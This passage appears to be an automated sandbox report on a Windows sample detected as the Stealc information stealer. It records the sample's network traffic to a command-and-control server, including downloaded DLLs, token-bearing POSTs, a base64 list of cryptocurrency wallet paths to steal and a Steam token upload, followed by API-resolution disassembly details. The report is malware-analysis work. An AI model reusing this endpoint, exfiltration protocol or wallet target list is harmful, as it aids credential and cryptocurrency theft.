00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 27, 2024 07:59:18.906795025 CET	95	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 07:59:19.194174051 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:19 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 27, 2024 07:59:19.490169048 CET	99	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 07:59:19.777033091 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:19 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 27, 2024 07:59:20.271584988 CET	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCB Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 27, 2024 07:59:21.060480118 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 07:59:21.127520084 CET	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDGCAEBFIIECAKFHIJE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="message"wallets------IJDGCAEBFIIECAKFHIJE--
Oct 27, 2024 07:59:21.416763067 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:21 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 27, 2024 07:59:21.440181017 CET	467	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHJKJDGCGDAKFHIDBGC Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 2d 2d 0d 0a Data Ascii: ------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="message"files------KEHJKJDGCGDAKFHIDBGC--
Oct 27, 2024 07:59:21.729588985 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 07:59:21.743293047 CET	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAEHCFHJJJJECAAFBKJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="file"------IDAEHCFHJJJJECAAFBKJ--
Oct 27, 2024 07:59:22.523756981 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 07:59:22.555049896 CET	474	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJECAAKKFHCFIECAAAKE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 2d 2d 0d 0a Data Ascii: ------HJECAAKKFHCFIECAAAKEContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------HJECAAKKFHCFIECAAAKEContent-Disposition: form-data; name="message"ybncbhylepme------HJECAAKKFHCFIECAAAKE--
Oct 27, 2024 07:59:22.844748020 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 07:59:22.851072073 CET	474	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIIIDGHJEBFBGDHDGII Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 2d 2d 0d 0a Data Ascii: ------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FIIIIDGHJEBFBGDHDGII--
Oct 27, 2024 07:59:23.631756067 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	02:58:57
Start date:	27/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x280000
File size:	1'851'392 bytes
MD5 hash:	AB2B819B785279099E6DE01576A7E770
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2326148225.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2049783064.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	38

Executed Functions

Function 00299860 Relevance: 66.7, APIs: 33, Strings: 5, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00E40720), ref: 002998A1
GetProcAddress.KERNEL32(75900000,00E406C0), ref: 002998BA
GetProcAddress.KERNEL32(75900000,00E40558), ref: 002998D2
GetProcAddress.KERNEL32(75900000,00E40798), ref: 002998EA
GetProcAddress.KERNEL32(75900000,00E40630), ref: 00299903
GetProcAddress.KERNEL32(75900000,00E48A60), ref: 0029991B
GetProcAddress.KERNEL32(75900000,00E36980), ref: 00299933
GetProcAddress.KERNEL32(75900000,00E36900), ref: 0029994C
GetProcAddress.KERNEL32(75900000,00E40570), ref: 00299964
GetProcAddress.KERNEL32(75900000,00E40648), ref: 0029997C
GetProcAddress.KERNEL32(75900000,00E40738), ref: 00299995
GetProcAddress.KERNEL32(75900000,00E405E8), ref: 002999AD
GetProcAddress.KERNEL32(75900000,00E36A20), ref: 002999C5
GetProcAddress.KERNEL32(75900000,00E40750), ref: 002999DE
GetProcAddress.KERNEL32(75900000,00E407B0), ref: 002999F6
GetProcAddress.KERNEL32(75900000,00E369A0), ref: 00299A0E
GetProcAddress.KERNEL32(75900000,00E40840), ref: 00299A27
GetProcAddress.KERNEL32(75900000,00E40768), ref: 00299A3F
GetProcAddress.KERNEL32(75900000,00E366E0), ref: 00299A57
GetProcAddress.KERNEL32(75900000,00E407C8), ref: 00299A70
GetProcAddress.KERNEL32(75900000,00E36740), ref: 00299A88
LoadLibraryA.KERNEL32(00E405A0,?,00296A00), ref: 00299A9A
LoadLibraryA.KERNEL32(00E405B8,?,00296A00), ref: 00299AAB
LoadLibraryA.KERNEL32(00E40600,?,00296A00), ref: 00299ABD
LoadLibraryA.KERNEL32(00E407E0,?,00296A00), ref: 00299ACF
LoadLibraryA.KERNEL32(00E40618,?,00296A00), ref: 00299AE0
GetProcAddress.KERNEL32(75070000,00E407F8), ref: 00299B02
GetProcAddress.KERNEL32(75FD0000,00E40828), ref: 00299B23
GetProcAddress.KERNEL32(75FD0000,00E48F28), ref: 00299B3B
GetProcAddress.KERNEL32(75A50000,00E48FB8), ref: 00299B5D
GetProcAddress.KERNEL32(74E50000,00E368E0), ref: 00299B7E
GetProcAddress.KERNEL32(76E80000,00E48B40), ref: 00299B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00299BB6

Strings

h, xrefs: 00299B71
NtQueryInformationProcess, xrefs: 00299BAA
@g, xrefs: 00299A7B
f, xrefs: 00299A4A
j, xrefs: 002999B8

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: j$@g$NtQueryInformationProcess$f$h
API String ID: 2238633743-1784662000
Opcode ID: 97e20ff2250996abcf8aac01f368973e85a43708a7742e55c3748fb89d4c8621
Instruction ID: e0c68f97e1da887f75fa405a2c51ac7f94c2b5b579524c8227af214a69cd5c9c
Opcode Fuzzy Hash: 97e20ff2250996abcf8aac01f368973e85a43708a7742e55c3748fb89d4c8621
Instruction Fuzzy Hash: 5FA16BB5502248AFD3C4EFA8FD88D6677F9F74C309704853AA605C3224D6399876CB2E

Function 002845C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0028460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0028479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00284729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00284683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002846B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00284662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00284678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002845DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00284770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00284713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002845D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002845C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002845E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0028475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0028474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0028477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00284622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00284638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002846C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00284617
